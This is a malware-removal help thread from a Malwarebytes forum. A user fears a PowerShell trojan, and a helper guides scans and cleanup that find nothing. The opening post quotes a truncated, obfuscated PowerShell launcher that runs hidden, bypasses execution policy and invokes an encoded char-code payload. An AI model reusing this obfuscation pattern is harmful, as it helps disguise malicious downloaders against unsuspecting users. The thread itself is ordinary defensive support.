Powershell trojan?

[BenRitchYahoo]

Hi guys,

 

By mistake, i just opened a file who contain a shortup to a script in the Window's Powershell. The script is like : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP  . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,32 ,40 ,40, 78, 101 , 119, 45,79 , 98, 106,101,99, 116 , 32 ,83, 121 , 115,116, 101

It was yesteday night, so for now, still no sign of a virus or malware. My AV said that everything's allright but i doubt because it's probably impossible to detect with a AV. It's probably a script that breach my Windows or something like that to open my PC to a possible hack. Kind of scared for now. Anyone had an idea what can i do ?

 

THanks

[kevinf80]

Hello BenRitchYahoo and welcome to Malwarebytes, Continue with the following: If you do not have Malwarebytes installed do the following: Download Malwarebytes version 3 from the following link: https://www.malwarebytes.com/mwb-download/thankyou/ Double click on the installer and follow the prompts. If necessary select the Blue Help tab for video instructions.... When the install completes or Malwarebytes is already installed do the following: Open Malwarebytes, select > "settings" > "protection tab" Scroll down to "Scan Options" ensure Scan for Rootkits and Scan within Archives are both on.... Go back to "DashBoard" select the Blue "Scan Now" tab...... When the scan completes quarantine any found entries... To get the log from Malwarebytes do the following:   Click on the Report tab > from main interface. Double click on the Scan log which shows the Date and time of the scan just performed. Click Export > From export you have two options: Copy to Clipboard - if seleted right click to your reply and select "Paste" log will be pasted to your reply Text file (*.txt) - if selected you will have to name the file and save to a place of choice, recommend "Desktop" then attach to reply   Please use "Copy to Clipboard, then Right click to your reply > select "Paste" that will copy the log to your reply… Next, Download AdwCleaner by Malwarebytes onto your Desktop. Or from this Mirror   Right-click on AdwCleaner.exe and select Run as Administrator (for Windows Vista, 7, 8, 8.1 and 10 users) Accept the EULA (I accept), then click on Scan Let the scan complete. Once it's done, make sure that every item listed in the different tabs is checked and click on the Clean button. This will kill all the active processes Once the cleaning process is complete, AdwCleaner will ask to restart your computer, do it After the restart, a log will open when logging in. Please copy/paste the content of that log in your next reply Next, Download Farbar Recovery Scan Tool and save it to your desktop. Alternative download option: http://www.techspot.com/downloads/6731-farbar-recovery-scan-tool.html Note: You need to run the version compatible with your system (32 bit or 64 bit). If you are not sure which version applies to your system download both of them and try to run them. Only one of them will run on your system, that will be the right version. If your security alerts to FRST either, accept the alert or turn your security off to allow FRST to run. It is not malicious or infected in any way... Be aware FRST must be run from an account with Administrator status...   Double-click to run it. When the tool opens click Yes to disclaimer.(Windows 8/10 users will be prompted about Windows SmartScreen protection - click More information and Run.) Make sure Addition.txt is checkmarked under "Optional scans"   Press Scan button to run the tool.... It will make a log (FRST.txt) in the same directory the tool is run. Please copy and paste it to your reply. The tool will also make a log named (Addition.txt) Please attach that log to your reply. Let me see those logs in your reply... Thank you, Kevin....

[BenRitchYahoo]

Wow, thanks a lot for your quick reply:

Malwarebytes report :

 

 

Malwarebytes
www.malwarebytes.com

-Log Details-
Scan Date: 11/11/18
Scan Time: 5:40 PM
Log File: b9aee99e-e602-11e8-bf7b-1062e584e285.json

-Software Information-
Version: 3.6.1.2711
Components Version: 1.0.482
Update Package Version: 1.0.7797
License: Trial

-System Information-
OS: Windows 10 (Build 17134.345)
CPU: x64
File System: NTFS
User: LAPTOP-37AB700O\benoi

-Scan Summary-
Scan Type: Threat Scan
Scan Initiated By: Manual
Result: Completed
Objects Scanned: 267618
Threats Detected: 0
Threats Quarantined: 0
Time Elapsed: 6 min, 52 sec

-Scan Options-
Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Enabled
Heuristics: Enabled
PUP: Detect
PUM: Detect

-Scan Details-
Process: 0
(No malicious items detected)

Module: 0
(No malicious items detected)

Registry Key: 0
(No malicious items detected)

Registry Value: 0
(No malicious items detected)

Registry Data: 0
(No malicious items detected)

Data Stream: 0
(No malicious items detected)

Folder: 0
(No malicious items detected)

File: 0
(No malicious items detected)

Physical Sector: 0
(No malicious items detected)

WMI: 0
(No malicious items detected)

(end)

--------------------------------------

ADW Cleaner :

Report is in files attached

--------------------------------

FBRST:

And the log files and Addition.txt with FBSR are attached. 

 

Thanks

AdwCleaner[C00].txt

Addition.txt

FRST.txt

[kevinf80]

Thanks for those logs, continue:

Download attached fixlist.txt file (end of reply) and save it to the Desktop, or the folder you saved FRST into. "Do not open that file when running FRST fix" NOTE. It's important that both FRST and fixlist.txt are in the same location or the fix will not work. Open FRST and press the Fix button just once and wait. The tool will make a log on the Desktop (Fixlog.txt) or the folder it was ran from. Please post it to your reply. Next, Download Sophos Free Virus Removal Tool and save it to your desktop. If your security alerts to this scan either accept the alert or turn off your security to allow Sophos to run and complete..... Please Do Not use your PC whilst the scan is in progress.... This scan is very thorough so may take several hours...   Double click the icon and select Run Click Next Select I accept the terms in this license agreement, then click Next twice Click Install Click Finish to launch the program Once the virus database has been updated click Start Scanning If any threats are found click Details, then View log file... (bottom left hand corner) Copy and paste the results in your reply Close the Notepad document, close the Threat Details screen, then click Start cleanup Click Exit to close the program If no threats were found please confirm that result.... The Virus Removal Tool scans the following areas of your computer: Memory, including system memory on 32-bit (x86) versions of Windows The Windows registry All local hard drives, fixed and removable Mapped network drives are not scanned. Note: If threats are found in the computer memory, the scan stops. This is because further scanning could enable the threat to spread. You will be asked to click Start Cleanup to remove the threats before continuing the scan. Saved logs are found here: C:\ProgramData\Sophos\Sophos Virus Removal Tool\Logs Let me see those logs in your reply, also tell me if there are any remaining issues or concerns... Thank you, Kevin...

fixlist.txt

[BenRitchYahoo]

Seems all good with Sophos AV. Thanks a lot for your help.

Here's the Fixlog of FRST

Fixlog.txt

[kevinf80]

Hello BenRitchYahoo,

How does your system run now, any odd or erratic behavior, do you have any remaining issues or concerns...?

Thanks,

Kevin...

[BenRitchYahoo]

Everything seems all right for now. Thank you !

[kevinf80]

Hello BenRichYahoo,

Good to hear your system is back to normal, continue to clean up:

Uninstall Sophos AV http://www.askvg.com/how-to-completely-uninstall-remove-a-software-program-in-windows-without-using-3rd-party-software/ Also delete this folder if still present: C:\ProgramData\Sophos Next, Download "Delfix by Xplode" and save it to your desktop. Or use the following if first link is down: "Delfix link mirror" If your security program alerts to Delfix either, accept the alert or turn your security off. Double Click to start the program. If you are using Vista or higher, please right-click and choose run as administrator Make Sure the following items are checked:   Remove disinfection tools <----- this will remove tools we may have used. Purge System Restore <--- this will remove all previous and possibly exploited restore points, a new point relative to system status at present will be created. Reset system settings <--- this will reset any system settings back to default that were changed either by us during cleansing or malware/infection Now click on "Run" and wait patiently until the tool has completed. The tool will create a log when it has completed. We don't need you to post this. Any remnant files/logs from tools we have used can be deleted… Next, Run Windows Disk Clean Up Utility - https://neosmart.net/wiki/disk-cleanup/ Read the following links to fully understand PC Security and Best Practices, you may find them useful.... Answers to Common Security Questions and best Practices Do I need a Registry Cleaner? Take care and surf safe Kevin...

[kevinf80]

Glad we could help.

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Thanks